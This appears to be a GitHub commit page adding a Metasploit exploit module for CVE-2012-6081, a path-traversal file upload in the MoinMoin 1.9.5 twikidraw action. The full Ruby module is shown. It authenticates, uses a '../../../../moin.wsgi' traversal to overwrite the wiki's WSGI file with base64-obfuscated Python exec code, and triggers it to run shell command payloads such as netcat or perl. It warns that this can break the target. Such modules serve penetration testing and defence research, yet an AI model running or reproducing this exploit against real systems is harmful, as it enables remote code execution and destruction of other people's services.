Skip to content

Commit 070111a

Browse files
committed
Land rapid7#1975 - Add CVE-2012-6081 (MoinMoin twikidraw Action Traversal)
2 parents 4ca9a88 + 3223ea7 commit 070111a

File tree

1 file changed

+273
-0
lines changed

1 file changed

+273
-0
lines changed
Lines changed: 273 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,273 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ManualRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'MoinMoin twikidraw Action Traversal File Upload',
18+
'Description' => %q{
19+
This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability
20+
exists on the manage of the twikidraw actions, where a traversal path can be used
21+
in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi
22+
configurations by overwriting moin.wsgi, which allows to execute arbitrary python
23+
code, as exploited in the wild on July, 2012. The user is warned to use this module
24+
at his own risk since it's going to overwrite the moin.wsgi file, required for the
25+
correct working of the MoinMoin wiki. While the exploit will try to restore the
26+
attacked application at post exploitation, correct working after all isn't granted.
27+
},
28+
'Author' =>
29+
[
30+
'Unknown', # Vulnerability discovery
31+
'HTP', # PoC
32+
'juan vazquez' # Metasploit module
33+
],
34+
'License' => MSF_LICENSE,
35+
'References' =>
36+
[
37+
[ 'CVE', '2012-6081' ],
38+
[ 'OSVDB', '88825' ],
39+
[ 'BID', '57082' ],
40+
[ 'EDB', '25304' ],
41+
[ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ],
42+
[ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ]
43+
],
44+
'Privileged' => false, # web server context
45+
'Payload' =>
46+
{
47+
'DisableNops' => true,
48+
'Space' => 16384, # Enough one to fit any payload
49+
'Compat' =>
50+
{
51+
'PayloadType' => 'cmd',
52+
'RequiredCmd' => 'generic telnet netcat perl'
53+
}
54+
},
55+
'Platform' => [ 'unix' ],
56+
'Arch' => ARCH_CMD,
57+
'Targets' => [[ 'MoinMoin 1.9.5', { }]],
58+
'DisclosureDate' => 'Dec 30 2012',
59+
'DefaultTarget' => 0))
60+
61+
register_options(
62+
[
63+
OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]),
64+
OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]),
65+
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
66+
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
67+
], self.class)
68+
end
69+
70+
def moinmoin_template(path)
71+
template =[]
72+
template << "# -*- coding: iso-8859-1 -*-"
73+
template << "import sys, os"
74+
template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))
75+
template << "from MoinMoin.web.serving import make_application"
76+
template << "application = make_application(shared=True)"
77+
return template
78+
end
79+
80+
def restore_file(session, file, contents)
81+
first = true
82+
contents.each {|line|
83+
if first
84+
session.shell_command_token("echo \"#{line}\" > #{file}")
85+
first = false
86+
else
87+
session.shell_command_token("echo \"#{line}\" >> #{file}")
88+
end
89+
}
90+
end
91+
92+
# Try to restore a basic moin.wsgi file with the hope of making the
93+
# application usable again.
94+
# Try to search on /usr/local/share/moin (default search path) and the
95+
# current path (apache user home). Avoiding to search on "/" because it
96+
# could took long time to finish.
97+
def on_new_session(session)
98+
print_status("Trying to restore moin.wsgi...")
99+
begin
100+
files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")
101+
files.split.each { |file|
102+
print_status("#{file} found! Trying to restore...")
103+
restore_file(session, file, moinmoin_template(file))
104+
}
105+
106+
files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")
107+
files.split.each { |file|
108+
print_status("#{file} found! Trying to restore...")
109+
restore_file(session, file, moinmoin_template(file))
110+
}
111+
print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")
112+
rescue
113+
print_warning("Error while restring moin.wsgi, manual restoring would be required.")
114+
end
115+
end
116+
117+
def do_login(username, password)
118+
res = send_request_cgi({
119+
'method' => 'POST',
120+
'uri' => normalize_uri(@base, @page),
121+
'vars_post' =>
122+
{
123+
'action' => 'login',
124+
'name' => username,
125+
'password' => password,
126+
'login' => 'Login'
127+
}
128+
})
129+
130+
if not res or res.code != 200 or not res.headers.include?('Set-Cookie')
131+
return nil
132+
end
133+
134+
return res.get_cookies
135+
136+
end
137+
138+
def upload_code(session, code)
139+
140+
vprint_status("Retrieving the ticket...")
141+
142+
res = send_request_cgi({
143+
'uri' => normalize_uri(@base, @page),
144+
'cookie' => session,
145+
'vars_get' => {
146+
'action' => 'twikidraw',
147+
'do' => 'modify',
148+
'target' => '../../../../moin.wsgi'
149+
}
150+
})
151+
152+
if not res or res.code != 200 or res.body !~ /ticket=(.*?)&amp;target/
153+
vprint_error("Error retrieving the ticket")
154+
return nil
155+
end
156+
157+
ticket = $1
158+
vprint_good("Ticket found: #{ticket}")
159+
160+
my_payload = "[MARK]#{code}[MARK]"
161+
post_data = Rex::MIME::Message.new
162+
post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")
163+
post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")
164+
my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
165+
166+
res = send_request_cgi({
167+
'method' => 'POST',
168+
'uri' => normalize_uri(@base, @page),
169+
'cookie' => session,
170+
'vars_get' =>
171+
{
172+
'action' => 'twikidraw',
173+
'do' => 'save',
174+
'ticket' => ticket,
175+
'target' => '../../../../moin.wsgi'
176+
},
177+
'data' => my_data,
178+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
179+
})
180+
181+
if not res or res.code != 200 or not res.body.empty?
182+
vprint_error("Error uploading the payload")
183+
return nil
184+
end
185+
186+
return true
187+
end
188+
189+
def check
190+
@base = target_uri.path
191+
@base << '/' if @base[-1, 1] != '/'
192+
193+
res = send_request_cgi({
194+
'uri' => normalize_uri(@base)
195+
})
196+
197+
if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/
198+
return Exploit::CheckCode::Detected
199+
elsif res
200+
return Exploit::CheckCode::Unknown
201+
end
202+
203+
return Exploit::CheckCode::Safe
204+
end
205+
206+
def writable_page?(session)
207+
208+
res = send_request_cgi({
209+
'uri' => normalize_uri(@base, @page),
210+
'cookie' => session,
211+
})
212+
213+
if not res or res.code != 200 or res.body !~ /Edit \(Text\)/
214+
return false
215+
end
216+
217+
return true
218+
end
219+
220+
221+
def exploit
222+
223+
# Init variables
224+
@page = datastore['WritablePage']
225+
226+
@base = target_uri.path
227+
@base << '/' if @base[-1, 1] != '/'
228+
229+
# Login if needed
230+
if (datastore['USERNAME'] and
231+
not datastore['USERNAME'].empty? and
232+
datastore['PASSWORD'] and
233+
not datastore['PASSWORD'].empty?)
234+
print_status("Trying login to get session ID...")
235+
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
236+
else
237+
print_status("Using anonymous access...")
238+
session = ""
239+
end
240+
241+
# Check authentication
242+
if not session
243+
fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")
244+
end
245+
246+
# Check writable permissions
247+
if not writable_page?(session)
248+
fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}")
249+
end
250+
251+
# Upload payload
252+
print_status("Trying to upload payload...")
253+
python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))"
254+
res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
255+
if not res
256+
fail_with(Exploit::Failure::Unknown, "Error uploading the payload")
257+
end
258+
259+
# Execute payload
260+
print_status("Executing the payload...")
261+
res = send_request_cgi({
262+
'uri' => normalize_uri(@base, @page),
263+
'cookie' => session,
264+
'vars_get' => {
265+
'action' => 'AttachFile'
266+
}
267+
}, 5)
268+
269+
end
270+
271+
end
272+
273+

0 commit comments

Comments
 (0)